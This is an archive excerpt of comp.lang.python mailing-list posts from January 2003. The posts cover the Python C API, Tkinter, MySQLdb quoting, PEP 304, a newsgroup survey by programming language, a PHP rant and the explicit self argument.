Subject: [OT] Seeking Minimal Python Project Name
In-Reply-To: <3e22d0f6$0$802$4d4ebb8e@news.nl.uu.net>
References: <3e22b7f7@news.swissonline.ch> <3e22d0f6$0$802$4d4ebb8e@news.nl.uu.net>
Message-ID: <3E235447.5000601@tismer.com>

Gumuz wrote:
> call it 'worm'

A worm, smashed by somebodies feet?
Worms, as another variant of some viruses?
Worms are living in the earth.
On the earth, there are several animals,
including elephants.

Too bad that elephant's aren't light weight,
or we could name it elephant.

Where comes the wheezle?





From simonb at webone.com.au  Fri Jan  3 03:21:04 2003
From: simonb at webone.com.au (Simon Burton)
Date: Fri, 03 Jan 2003 19:21:04 +1100
Subject: Accessing a PyInstances dictionary from C++
References: <YTaR9.4650$j94.883590@news02.tsnz.net>
Message-ID: <pan.2003.01.03.08.21.03.646091@webone.com.au>

On Fri, 03 Jan 2003 20:27:05 +1300, Lloyd wrote:

> Hey
> 
> I'm trying to call a method on a python object from C++. I have a PyInstance
> but can't for figure out how to obtain the dictionary from the instance so
> that I can call the method on the object.
> 
> Any help appreciated.
> 
> Thanks


PyObject_CallMethod(instance, method_name, format, ... )

there are a few other functions to check out,
and the dictionary could be obtained using PyObject_GetAttr,
and '__dict__'.

Remember: all these Py* pointer things are also PyObject pointers.
eg. a PyInstanceObject is also (can be used as) a PyObject.

bye,

Simon Burton




From lazypointer at yahoo.com  Wed Jan  8 01:29:09 2003
From: lazypointer at yahoo.com (Byron Morgan)
Date: Wed, 08 Jan 2003 06:29:09 GMT
Subject: Generate variables at run time?
Message-ID: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com>

Is there any way in Python to generate a new variable name based on data? I
have tried the eval() function, but this gets rejected, if the variable
doesn't already exist.

There has to be a way to do this, but I can't find it, probaly because I am
just starting to learn Python.

Byron





From throwaway at mit.edu  Sun Jan 26 16:43:42 2003
From: throwaway at mit.edu (Alex Coventry)
Date: 26 Jan 2003 16:43:42 -0500
Subject: Null number input
References: <mailman.1043614666.18370.python-list@python.org>
Message-ID: <87el6zmvsh.fsf@mit.edu>

using input is usually a bad idea.  you might want to try something
like this:

while 1:
    age = raw_input('Age: ')
    try:
        userInfo['age'] = int(age)
    except ValueError:
        # whatever error handling you want to do, here.
        pass
    else:
        break

alex.



From paul at boddie.net  Fri Jan 24 12:29:39 2003
From: paul at boddie.net (Paul Boddie)
Date: 24 Jan 2003 09:29:39 -0800
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <cf333042.0301232326.582ac37@posting.google.com>
Message-ID: <23891c90.0301240929.196ae7bf@posting.google.com>

kaz at ashi.footprints.net (Kaz Kylheku) wrote in message news:<cf333042.0301232326.582ac37 at posting.google.com>...
> 
> Do you know that Lisp programmers have been storing data as nested
> lists for forty years? You have rediscovered the wheel.

Sounds like the shortened version of a typical Erik Naggum rant about XML:

  http://groups.google.com/groups?selm=3250033069468718%40naggum.no

(Only without the bandwidth-defying departure from the subject of relevance.)

Paul



From me at privacy.net  Wed Jan 29 20:33:51 2003
From: me at privacy.net (Greg Ewing (using news.cis.dfn.de))
Date: Thu, 30 Jan 2003 14:33:51 +1300
Subject: BDE mit Python?
References: <3E34F503.2000906@web.de> <3E356338.9030605@removethis.free.fr> <pan.2003.01.27.19.32.31.636081@dot.com> <3E374704.4070906@removethis.free.fr> <mailman.1043790187.22314.python-list@python.org>
Message-ID: <3E3880FF.4030701@privacy.net>

holger krekel wrote:

> laotseu wrote:
> 
>>Rhymes wrote:
>>
>>>On Mon, 27 Jan 2003 11:50:00 -0500, laotseu wrote:
>>>
>>>
>>>
>>>><attempt to translate, pardon my french!->
>>>>
>>>
>>>French?
>>>
>>>
>>French !
>>
> 
> French? 
> 
> 

Saunders?




From howard at eegsoftware.com  Fri Jan 10 01:09:55 2003
From: howard at eegsoftware.com (Howard Lightstone)
Date: Fri, 10 Jan 2003 06:09:55 GMT
Subject: TKINTER glitch on 2.2.2
References: <3e1d7d02.108813@news1.news.adelphia.net> <1i7kva.4vo.ln@boundary.tundraware.com> <3e1e22e0.12108310@news1.news.adelphia.net>
Message-ID: <Xns92FEE1198510Dhowardeegsoftwarecom@66.75.162.201>

edlsoft at mindspring.com (Burt Leavenworth) wrote in
news:3e1e22e0.12108310 at news1.news.adelphia.net:

>>Burt Leavenworth wrote:
>>> I am upgrading from 1.5.2 to 2.2.2 but now my GUI applications which
>>> work on 1.5.2 no longer work properly.
>>> 

> from Tkinter import *
> import sys
> win = Tk()
> button = Button(win, text = 'Goodbye',command = sys.exit)
> button.pack()
> mainloop()
> 

> 
> There must be some dumb omission.
> 
> Burt

The proper way to exit mainloop() cleanly is to call the quit() method.

However, I assume you called this with python.exe. There is a known bug (SF 
#453489 or #216289 ??) with Tk 8.3  and earlier which will cause the task 
to hang forever (you can't kill it since it gets hung in the task 
termination processing).  You can use pythonw.exe and get better results 
there.  




From tundra at tundraware.com  Sun Jan 12 19:50:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 13 Jan 2003 00:50:07 GMT
Subject: tkinter: Scrolling Very Long Menus On X-Windows
Message-ID: <2v1tva.qap.ln@boundary.tundraware.com>

I have a situation where I dynamically create menus that are longer than
the available vertical screen size.  On Win32, I get up- and down- scrolling
buttons at the top and bottom of the menu respectively.  However, this
does not happen on Unix (X).  Is there a way to get X to do the same thing?
-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From chrisk at nipltd.com  Fri Jan 24 16:35:27 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Fri, 24 Jan 2003 21:35:27 +0000
Subject: MySQLdb and strings with quotes / long strings
References: <3E318F4E.8010008@nipltd.com> <mailman.1043436227.7517.python-list@python.org>
Message-ID: <3E31B19F.5000309@nipltd.com>

Hmm, thats clever

/me smacks head against screen, cheers I'll take a look. I noticed 
something about that in the documentation, but it didn't quite read like 
that :-)

Thanks Skip ;-)

Chris

Skip Montanaro wrote:
>     Chris> I'm trying to put email messages into a MySQL database. I'm happy
>     Chris> enough with the 65k character Text field length limit, however
>     Chris> I'm having trouble getting the data in.
> 
>     Chris> I construct a SQL string insert into... set body='%s'... %(body)
> 
>     Chris> body has had body = string.replace(body, "'", "''") done to it,
>     Chris> which should escape the strings with quotes in, but I get this
>     Chris> traceback
> 
> It's probably easier to just let MySQL do the quoting:
> 
>     con = MySQLdb.Connection(...)
>     cur = con.cursor()
>     cur.execute("insert into ... set body=%s ...", (body,))
> 
> Skip
> 




From skip at pobox.com  Fri Jan 31 12:37:49 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 31 Jan 2003 11:37:49 -0600
Subject: New version of PEP 304
Message-ID: <15930.46189.483674.745097@montanaro.dyndns.org>

I just checked in a new version of PEP 304.  It should be available at

    http://www.python.org/peps/pep-0304.html

within a few hours (look for version >= 1.10).

There is also a patch against CVS which implements most of the PEP for
Unix-ish systems.  That's referenced in the PEP but also available directly
at

    http://www.python.org/sf/677103

Known shortcomings:

    * Not all regression tests pass yet, mostly (I think) because some tests
      expect to find auxiliary files in the same directory as mod.__file__.

    * There is no support yet for Windows paths, but this shouldn't be hard
      to add.  I just can't build on Windows.

    * You can't delete a source file after generating a .pyc file because
      the .pyc file won't be in the same directory.  I think I will have to
      modify the search for .pyc files to include the bytecode base
      directory as well.

Feedback welcome.  Windows C programmers even more welcome. ;-)

Skip





From lac at strakt.com  Sat Jan 25 18:27:11 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 26 Jan 2003 00:27:11 +0100
Subject: usenet statistics script....happy hacking!!! 
In-Reply-To: Message from "Aaron K. Johnson" <akjmicro@yahoo.com> 
   of "Sat, 25 Jan 2003 16:40:05 CST." <b0v3n7$cgs$1@bob.news.rcn.net> 
References: <b0v3n7$cgs$1@bob.news.rcn.net> 
Message-ID: <200301252327.h0PNRBjL003490@ratthing-b246.strakt.com>

<snip>
newsgroups=['comp.lang.ada', 'comp.lang.apl', 'comp.lang.asm.x86',
                        'comp.lang.asm370', 'comp.lang.awk', 

<snip>

Minor suggestion:

assign the newsgroups as [ada, apl, asm.x86, asm370, awk ...]

then just prepend 'comp.lang.' at the top of your for loop.  This will
aid readability.

Thanks very much,
Laura Creighton





From pyth at devel.trillke.net  Fri Jan 31 19:04:48 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sat, 1 Feb 2003 01:04:48 +0100
Subject: Python vs. C++ Builder - speed of development
In-Reply-To: <SOD_9.897$ek4.89990@newsread2.prod.itd.earthlink.net>; from vanevery@3DProgrammer.com on Fri, Jan 31, 2003 at 11:39:30PM +0000
References: <3e36d04e_2@news.vo.lu><mailman.1043793662.28129.python-list@python.org><CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net><gWOZ9.134330$AA2.5582397@news2.tin.it><Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net><bK6_9.140709$AA2.5799087@news2.tin.it><a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net><8bbd9ac3.0301302140.6938685c@posting.google.com><oPr_9.108013$0v.3123750@news1.tin.it><mailman.1044029142.17081.python-list@python.org><yyyhebpkyjd.fsf@adams.patriot.net><mailman.1044036665.13238.python-list@python.org> <yyy8yx1kpny.fsf@adams.patriot.net> <mailman.1044049745.26538.python-list@python.org> <SOD_9.897$ek4.89990@newsread2.prod.itd.earthlink.net>
Message-ID: <20030201010448.K10804@prim.han.de>

Brandon Van Every wrote:
> Mongryong wrote:
> > On Fri, 2003-01-31 at 15:52, Nick Vargish wrote:
> >> I didn't take any formal programming courses after High School,
> > Imagine what the world would be like had Bill Gates actually graduated
> > with a Computer Science degree....ah, everybody would have a true
> > Unix-like machine with Python already installed on it...
> 
> No, you wouldn't.  People who don't give a crap about degrees get things
> done.  That's why Microsoft is the business juggernaut that it is.  People
> at Microsoft know that technology isn't the dominant component, business is.
> The university guy is Linus Torvaldis.  Linux has the market growth pattern
> of an engineer-centric product.

But market growth is not the end to it all. Of course you would
contradict business-wise :-)

    holger




From vm_usenet at yahoo.com  Sat Jan  4 16:34:37 2003
From: vm_usenet at yahoo.com (vm_usenet)
Date: 4 Jan 2003 13:34:37 -0800
Subject: a new PEP?
Message-ID: <c09aca51.0301041334.f4c81d5@posting.google.com>

Hello everyone!

I have recently had the pleasure to develop a large-scal system with
Python. Although the project went well, I did come across the fact
that not only Python is not really multithreaded (which you all know,
of course)- but it also does not support creation of multiple
interpreters and running them in seperate threads - which might come
in handy...

What I'm proposing is to dump the current approach of static/global
variables in the python source and to make the python interpreter
state-oriented. Thus we could use a (very pseudo) code like this:

PyInterpreter * new_interpreter = PyInterpreter_Create(...);
PyInterpreter * yetanother_interpreter = PyInterpreter_Create(...);

do_something_with_interpreter_on_first_thread(new_interpreter);
do_something_with_interpreter_on_other_thred(yetanother_interpreter);

currently, since the python thread state and other parameters are kept
global and static, these two threads would clash and burn. With a
slightly new design this code can work - and that could be very
useful.

Is there any way I can post this proposal to the PEP list?

P.S. 
In case you're wondering why we should need such a feature - imagine
an application powered by Python as an extension language - and then
running two extensions in two different threads. Not so far-fetched,
anyway...



From akjmicro at yahoo.com  Fri Jan 24 15:26:31 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Fri, 24 Jan 2003 14:26:31 -0600
Subject: More usenet usage statistics, by programming language
Message-ID: <b0s7hn$fum$1@bob.news.rcn.net>

Hello all,

For what its worth, I've updated my usenet language stats (interpret them how
you will)

This time, the data reflects the actual number of DIFFERENT posters to each
group in the last 200 posts to each group, as opposed to just the total posts
to the group.

I think this gives a better idea about how many people relative to population
of programmers use each language. There are some surprises. Like, what in the
hell is Clipper?

You may also decide to put c/c++ together, in which case the total is 1511,
right under java (which makes intuitive sense)

Best,
Aaron.

survey begins here:

java 3715
(c/c++ taken together) 1511
basic 1292
perl 1240
c++ 953
pascal 905
clipper 690
python 647
labview 579
javascript 570
c 558
clarion 491
tcl 443
asm 381
scheme 361
vhdl 359
fortran 341
lisp 325
ruby 315
cobol 310
postscript 308
ada 267
smalltalk 262
prolog 231
functional 230
idl-pvwave 226
forth 223
verilog 220
awk 205
vrml 151
rexx 142
apl 139
mumps 124
pl1 117
objective-c 106
misc 105
eiffel 99
logo 78
ml 72
asm370 63
dylan 37
modula3 30
oberon 23
modula2 22
pop 19
icon 13
idl 12
limbo 5
clos 4
prograph 2
clu 2
visual 0
sather 0
hermes 0
comp 0
beta 0




From bokr at oz.net  Tue Jan  7 08:38:40 2003
From: bokr at oz.net (Bengt Richter)
Date: 7 Jan 2003 13:38:40 GMT
Subject: Comments on base52 encoder/decoder ?
References: <avcvbj$imq$0@216.39.172.122> <3E1A55CE.59A4BAE0@alcyone.com>
Message-ID: <avel90$e80$0@216.39.172.122>

On Mon, 06 Jan 2003 20:21:34 -0800, Erik Max Francis <max at alcyone.com> wrote:

>Bengt Richter wrote:
>
>> What it boils down to is that there are enough codes for two sets
>> of encodings plus 9023 special codes. You can think of it as a single
>> bit attribute for arbitrary subsequences of binary bytes with no extra
>> encoding characters vs doing them separately as before, and 9023
>> integer
>> codes can be inserted also at a cost of 3 code characters apiece. You
>> can think of them as available escape codes.
>
>My initial, gut reaction to this is that you're getting too fancy for
>your own good.
>
Was it the extras, or just putting too much on the plate at once? ;-)

What if I had just started with the default encoding/decoding
and showed one useful example?

E.g., it makes a nice safe all-alpha hash string from md5
(that is also 25% shorter than hex):

 >>> import base52x
 >>> b2a = base52x.b2a_base52
 >>> a2b = base52x.a2b_base52
 >>> import md5

 >>> md5.new("Nobody inspects the spammish repetition").digest()
 '\xbbd\x9c\x83\xdd\x1e\xa5\xc9\xd9\xde\xc9\xa1\x8d\xf0\xff\xe9'

 >>> md5.new("Nobody inspects the spammish repetition").hexdigest()
 'bb649c83dd1ea5c9d9dec9a18df0ffe9'

 >>> b2a(md5.new("Nobody inspects the spammish repetition").digest())
 'RmcOqbUwePkJUgeTEhNWoYLt'


Verifying that the info is all there (for this case ;-):

 >>> a2b('RmcOqbUwePkJUgeTEhNWoYLt')
 '\xbbd\x9c\x83\xdd\x1e\xa5\xc9\xd9\xde\xc9\xa1\x8d\xf0\xff\xe9'

Regards,
Bengt Richter



From python at dylanreinhardt.com  Sun Jan 19 11:15:45 2003
From: python at dylanreinhardt.com (Dylan Reinhardt)
Date: Sun, 19 Jan 2003 08:15:45 -0800
Subject: __parent__ - like attribute?
In-Reply-To: <b0e2sv$ipm$0@216.39.172.122>
References: <av7cuu$cu2$1@slb0.atl.mindspring.net>
 <YhlS9.24314$NB4.6001@FE05>
 <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>
 <mailman.1042947586.19440.python-list@python.org>
 <mailman.1042955509.8397.python-list@python.org>
Message-ID: <5.1.1.6.0.20030119075736.01d38618@www.dylanreinhardt.com>

At 03:41 AM 1/19/2003, Bengt Richter wrote:
>Why not write minimal code to illustrate?


My first post had this minimal code example:


-------------------------

class spam:
     __init__(self):
         self.stuff = eggs()
         self.changed = 0

class eggs:
     def do_stuff(self):
         # after we've done the main part of our work,
         # signal parent object that information has changed
         self.__some_namespace_voodoo__.changed = 1
         return something_unrelated

a = spam()
b = spam()
x = a.stuff.do_stuff()   #  <--- should set value of a.changed to 1
x = b.stuff.do_stuff()   #  <--- should set value of b.changed to 1

-------------------------


>several_instances_of_spam[an_index_less_than_several].get_contained_egg(
>     index_less_than_thousands).changed_attr = some_change


The whole point of doing it the way I'm doing it is to provide a clean, 
Pythonic interface, thus:

spam_instance.egg_instance.egg_method()

should have a side effect on the spam instance.

>What is your concept of "subobject"?

Hopefully this should be clear from the code example.

>Sure, there's any number of ways to do it. But to choose one, we need to know
>how well/badly the above code reflects your problem world.

Does the provided code do it?

>    class Egg:
>         def __init__(self, my_container):
>             self.my_container = my_container


This is actually what I'm doing now.  If this is the best available answer, 
I can certainly live with that, but it been surprised at what some of the 
namespace wizards here have come up with in the past, so I thought I'd see 
if there is a more elegant/efficient answer.


>If you are in control over everything, there are going to be better ways, 
>but it's
>not clear whether you are trying to tweak some big stuff you don't want to 
>bother fully
>understanding, or whether you have creative control.

The latter.  I'm an experienced developer working on code I have total 
control over.

Thanks in advance,

Dylan





From vanevery at 3DProgrammer.com  Fri Jan 31 18:32:28 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Fri, 31 Jan 2003 23:32:28 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043793662.28129.python-list@python.org> <CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net> <gWOZ9.134330$AA2.5582397@news2.tin.it> <Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net> <bK6_9.140709$AA2.5799087@news2.tin.it> <a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net> <8bbd9ac3.0301302140.6938685c@posting.google.com> <mailman.1043994240.1531.python-list@python.org>
Message-ID: <gID_9.887$ek4.89394@newsread2.prod.itd.earthlink.net>

Laura Creighton wrote:
> "Brandon Van Every" <vanevery at 3DProgrammer.com> wrote in message
> news:<a2h_9. 5383$Wu1.411649 at newsread1.prod.itd.earthlink.net>...
>> My contention is, if your approach is incremental and architectural,
>> Python
>> does not offer any amazing payoff over C++.  Python only gives you a
>> big
>> value add when you're trying to be more spontaneous.
>
> The point that some of us were trying to make is that developing in
> C++ is _slow_.

C++ is not the bottleneck of my current development.  At this stage I spend
far, far more time figuring out how to objectify various 3D mathematical
constructs.  I would have the same problems of mathematical decomposition in
any language.  Development is slow for *that* reason, not C++.

> Now it may be that your heavy-duty graphics primatives
> really do have to run like a bat out of hell.

I'm not doing significant optimization at this point.  Mainly the approaches
have to be simple, correct, numerically accurate, and amenable to
optimization later.

> Here is Paul Graham making the same point, but saying that it was
> Lisp that made him productive.

Lisp sounds like a bad fit to my current problems.  I'm dealing with simple
geometric relationships, not complicated ones.  If I had a lot of very
complicated, freeform geometic relationships to deal with, Lisp would be
more attractive.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From whisper at oz.net  Mon Jan 13 19:54:48 2003
From: whisper at oz.net (David LeBlanc)
Date: Mon, 13 Jan 2003 16:54:48 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]  Minimal Python project)
In-Reply-To: <3E2350B5.9060101@tismer.com>
Message-ID: <GCEDKONBLEFPPADDJCOEOEHOHFAA.whisper@oz.net>

More like what happens when you give all that beer you drank back ;)

David LeBlanc
Seattle, WA USA 

> -----Original Message-----
> From: Christian Tismer [mailto:tismer at tismer.com]
> Sent: Monday, January 13, 2003 15:50
> To: David LeBlanc
> Cc: python-list at python.org
> Subject: Re: Seeking Minimal Python Project Name (was: [pypy-dev] Re:
> [ann] Minimal Python project)
> 
> 
> David LeBlanc wrote:
> > Pyth.
> 
> Sounds a bit like the winds after digesting Chili Con Carne :-)
> 




From dave at pythonapocrypha.com  Mon Jan 20 11:16:36 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Mon, 20 Jan 2003 08:16:36 -0800 (PST)
Subject: SHGetSpecialFolderLocation Question?
In-Reply-To: <85388c34.0301200649.6d95769c@posting.google.com>
References: <85388c34.0301200649.6d95769c@posting.google.com>
Message-ID: <Pine.LNX.4.51.0301200814380.13854@ns0.tbye.com>

On Mon, 20 Jan 2003, kumar wrote:

> The following python call always return "DESKTOP" as my personal
> directory, where as it is a directory named "personal". Can some help
> me with this?
>
> Python 2.0 (#8, Oct 16 2000, 17:27:58) [MSC 32 bit (Intel)] on win32
> Type "copyright", "credits" or "license" for more information.
> >>> from win32com.shell import shell, shellcon
> >>> IDLList= shell.SHGetSpecialFolderLocation(shellcon.CSIDL_PERSONAL,
> 0)
> >>> print "my_personal_dir =", shell.SHGetPathFromIDList(IDLList)
> my_personal_dir = C:\WINNT\Profiles\kumar\DESKTOP
> >>>

Hi Kumar,

I think the problem is that the first argument to
SHGetSpecialFolderLocation is supposed to be hwndOwner:

SHGetSpecialFolderLocation(0, shellcon.CSIDL_PERSONAL)

HTH,
-Dave




From mlh at vier.idi.ntnu.no  Mon Jan 20 15:35:04 2003
From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland)
Date: Mon, 20 Jan 2003 20:35:04 +0000 (UTC)
Subject: String methods understanding anything but ASCII?
References: <slrnb2m4mv.sq2.mlh@furu.idi.ntnu.no>  <3e2b1774$0$49114$e4fe514c@news.xs4all.nl>
Message-ID: <slrnb2onbn.2ai.mlh@vier.idi.ntnu.no>

In article <3e2b1774$0$49114$e4fe514c at news.xs4all.nl>, Irmen de Jong wrote:
>Magnus Lie Hetland wrote:
>> I just wondered -- is there hope that string methods such as upper()
>> or capitalize() will ever understand anything other than ascii? How
>> about, e.g. iso8859-1 (which does seem to be the default encoding)? As
>> a Scandinavian, I'd love to see '?'.upper() == '?', for example.
>
>>>> print unicode('?','cp1252').upper().encode('cp1252')
>?

Ah. I tried to use unicode objects (with 'isp8859-1', though, but
that's not essential) -- I just didn't use the extra argument to the
constructor. (Silly me ;)

Needless to say, I couldn't get it to work...

>You should use the unicode functions to perform operations on
>non-ascii characters.

Indeed. Thanks.

>Irmen

-- 
Magnus Lie Hetland
http://hetland.org



From ianb at colorstudy.com  Thu Jan 23 19:57:24 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 23 Jan 2003 18:57:24 -0600
Subject: Python web development, really
In-Reply-To: <7xfzrj1ooz.fsf@ruckus.brouhaha.com>
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
	 <mailman.1043359063.30364.python-list@python.org>
	 <7xfzrj1ooz.fsf@ruckus.brouhaha.com>
Message-ID: <1043369843.21785.1127.camel@lothlorien>

On Thu, 2003-01-23 at 16:33, Paul Rubin wrote:
> I don't find PHP to be horrible.  It's just kind of limited.

That might be how I'd describe Tcl, say, but PHP really has some stupid
properties.  Like say a function foo() returns an object, and you want
to call a method on the object.  You'd expect to be able to do
"foo()->method()".  But you can't, you have to use an intermediate
temporary variable to hold the object.  I don't know why this is the
case -- either the PHP parser is braindead or there's something very
weird going on with PHP objects.

And it has weird reference stuff going on, probably taken from Perl -- I
guess it's not surprising, but there's just no *point* to using that
technique.  It gains you *nothing* except maybe some misguided notion of
safety across function calls (because the variables get copied), and it
adds a lot of inefficiency (because of unnecessary copying), and/or the
confusion of references.

The layout of the standard library is truly horrendous.  Python isn't
great, we have has_key after all... but it's nothing like PHP.   

And the string functions particularly annoy me.  PHP is *meant* to
produce strings.  That's *all* it's meant to produce.  It should do that
really well, no?  But it has no decent syntactic string handling, you
have to use functions for everything, and the functions are all over the
place.  Regular expressions are even worse with the \'s doubled all over
the place and other nonsense.  

Oh, and string literals are worse.  Python doesn't have $ variable
substitution unlike PHP, but PHP is just idiotic and wastes this
feature.  The thing that annoys me the most is that " (double-quotes)
gets used all the time in HTML, and ' (single-quote) doesn't.  But if
you want to do variable substitution you have to use ", so you get all
these things like "<input type=\"text\" value=\"$value\">".  Or even
worse you get people doing "<input type=text value='$value'>".  

And the quoting is crazy.  There's nothing to help you quote literal
text for HTML so you have to use the htmlentities function all the time
if you want to be thorough.  Ditto SQL and shell.  And that's why
there's all these security problems, once again PHP fails to make string
substitution reasonably easy to do right.  And then they try to fix it
with magic quoting, which quite frankly is fucked up.  Depending on your
installation you don't know if you have to unquote things, quote them,
or just leave them alone.  So you get all these websites where the name
O'Connor gets turned into O\'Connor and other nonsense.

Well, you didn't really ask for it, but that's my PHP rant, or at least
the things I can think of off the top of my head this evening :)

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From EDB30 at msn.com  Fri Jan 10 20:48:10 2003
From: EDB30 at msn.com (Tupoi)
Date: Fri, 10 Jan 2003 20:48:10 -0500
Subject: nyu cs department
Message-ID: <3e1f77d2$1_7@nopics.sjc>

anyone know how the nyu cs department stacks up against the giants(MIT) is
it a lot worse or what?? also same question for cornell??





From tjreedy at udel.edu  Sun Jan 12 12:52:34 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 12 Jan 2003 12:52:34 -0500
Subject: Performance penalty for using classes?
References: <33803989.0301120004.76e09b9a@posting.google.com>
Message-ID: <9ZqcnT6FMPmoMbyjXTWc3A@comcast.com>

"Miki Tebeka" <tebeka at cs.bgu.ac.il> wrote in message
news:33803989.0301120004.76e09b9a at posting.google.com...
> Hello All,
>
> I need my M.Sc. to run fast but I don't want to recode it in C.
> I've noticed that using classes can cause my code to run about 30%
> slower.
> (See the below tests)

In this particular case, you could speed your code by getting rid of
the unnecessary get and set functions (function calls are somewhat
expensive) and access the attributes directly.  OO purists may object,
but you asked for speed, and _set/getattr__ can be used when get/set
otherwise become needed due to internal changes.

class Dot:
    def __init__(self, x, y):
        self.x = x
        self.y = y

def test_class(iterations):
    while iterations > 0:
        d = Dot(random.random(), random.random())
        x = d.x
        y = d.y
        d.x = y
        d.y = x
        iterations -= 1

Note: breaking the tuple assignment into separate statements is less
convenient, but avoids creating a tuple only to discard it and is
slightly faster.

Terry J. Reedy





From peter at engcorp.com  Sun Jan 19 09:54:35 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 19 Jan 2003 09:54:35 -0500
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com> <x7iswn4qoa.fsf@guru.mired.org> <mailman.1042826159.14168.python-list@python.org> <v2j5mial64f6f@corp.supernews.com> <mailman.1042976675.1843.python-list@python.org>
Message-ID: <3E2ABC2B.C240A0D@engcorp.com>

Donnal Walter wrote:
> 
> [OT] One of Eiffel's strengths is design by contract (DBC). I've considered
> implementing one of the published recipes for EiffelMethods in Python, but I
> wonder, is DBC is really necessary if one uses unit tests compulsively?

Not having really studied DBC, I couldn't say, but I wonder if maybe
DBC is more appropriate for the *external* interfaces in that case?
One cannot unit test the external interfaces, so almost by definition
the tests for one's code should include checking a lot of boundary
conditions and such, to be sure how the code reacts when sent garbage.

So even though one is using tests to drive the design, the tests are
really driving the development of the "contracts" which then drive
the design... or something meandering like that?

-Peter



From Mongryong at sympatico.ca  Fri Jan 31 17:25:22 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 31 Jan 2003 17:25:22 -0500
Subject: Timed events
In-Reply-To: <TrC_9.111148$0v.3218447@news1.tin.it>
References: <pXB_9.143435$GF.37039781@twister.columbus.rr.com> 
	<TrC_9.111148$0v.3218447@news1.tin.it>
Message-ID: <1044051923.14199.52.camel@refugeeMedia>

> Sam Marrocco wrote:
> 
> > I'm trying to Python a script that will perform a function every few
> > seconds. Is there a particularly efficient way to do this that won't hog
> > processor time?
> 
If you're looking for a multithreaded solution, than what you need is a
periodic timer!  Take a look the Timer class from threadings.py.  It
should be easier to modify it so that the timer is periodic. Take a look
at Timer.run().  A few little changes and your set.





From hancock at anansispaceworks.com  Mon Jan  6 22:23:34 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Tue, 07 Jan 2003 03:23:34 GMT
Subject: Instantiating only one object of a Product in Zope 2.5.1
References: <6bd9f01b.0301060807.378056e4@posting.google.com>
Message-ID: <WKrS9.20692$9N5.1850189@newsread2.prod.itd.earthlink.net>

sameer wrote:
> I have a product that I wrote in zope which is just a big hash.  It
> loads in company names as keys, and from a text file, adds ticker
> items as each value for a particular key.  Now I only want this huge
> dictionary to load once, which is when zope starts up (possibly in a
> global space), as I need one copy of it and I need that one copy to
> update every x number of minutes.  Currently, I think, each user that
> views this product, loads his own copy of the hash, which makes it
> slow and a memory hog.  I only want a single copy available to all
> users, and the data refresh time to be determined by the system or the
> user.

As with most problems, there's more than one solution.  Given your problem, 
I would probably avoid using a dictionary and just put the information in a 
MySQL database. But there's overhead involved in setting that up, so you 
might not want to.

The key question is when and how often does the data in this dictionary 
change?

You might want to consider making this dictionary a global module variable, 
and accessing it from the product object, rather than storing it as an 
attribute of the object (which sounds like what you're doing now). Then you 
just make a method to retrieve this data instead of storing it directly.

If the data is being filled in from a file on the filesystem (not a zope 
object), and need not use Zope's persistence mechanism, this may be the 
right answer.

But it's hard to say without more details, and you'll probably get more 
specific information from the Zope mailing list, as has already been 
suggested.

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From frobozz_electric at hotmail.com  Sat Jan  4 12:17:15 2003
From: frobozz_electric at hotmail.com (Sean Ross)
Date: Sat, 4 Jan 2003 12:17:15 -0500
Subject: Explicit Frustration of the Self
References: <a1d2c9b4.0212302256.3bbd302f@posting.google.com> <yu99n0mmw48b.fsf@europa.research.att.com> <uzlQ9.2011$8n5.515861@news20.bellglobal.com> <WhqdnbfA_sxi9I-jXTWcqw@comcast.com>
Message-ID: <tGER9.8038$rr1.1290343@news20.bellglobal.com>

"Terry Reedy" <tjreedy at udel.edu> wrote in message
news:WhqdnbfA_sxi9I-jXTWcqw at comcast.com...
>But of course, the first argument *is* passed as an argument -- which
>you can do explicitly if you do not like the usual abbreviated form.
>>>> class c:
>...   def test(s): print 231
>...
>>>> ci = c()
>>>> c.test(ci)
>231

Of course.
However my point was, or rather should have been, that this usage is
uncommon or, surely, less common than

>>>ci=c()
>>>ci.test()
>231

Anyway...

When I first began learning python(and I still am learning), I found the
practice of passing self as an argument to its
instance methods hackish. I didn't mind the explicit use of self(and I still
don't - in fact I prefer it) but I didn't understand why passing it to its
own methods was necessary. It looked like it had been tacked on. To me, it
looked like someone trying to do OO in C.

In fact, I still didn't see any reason for it until -
>Bjorn Peterson wrote:

>class Foo:
>    bar = 123
>    def baz(,arg):
>        class inner:
>            def baz(,arg):
>                .arg = arg   # <- Foo's arg or inner's arg?
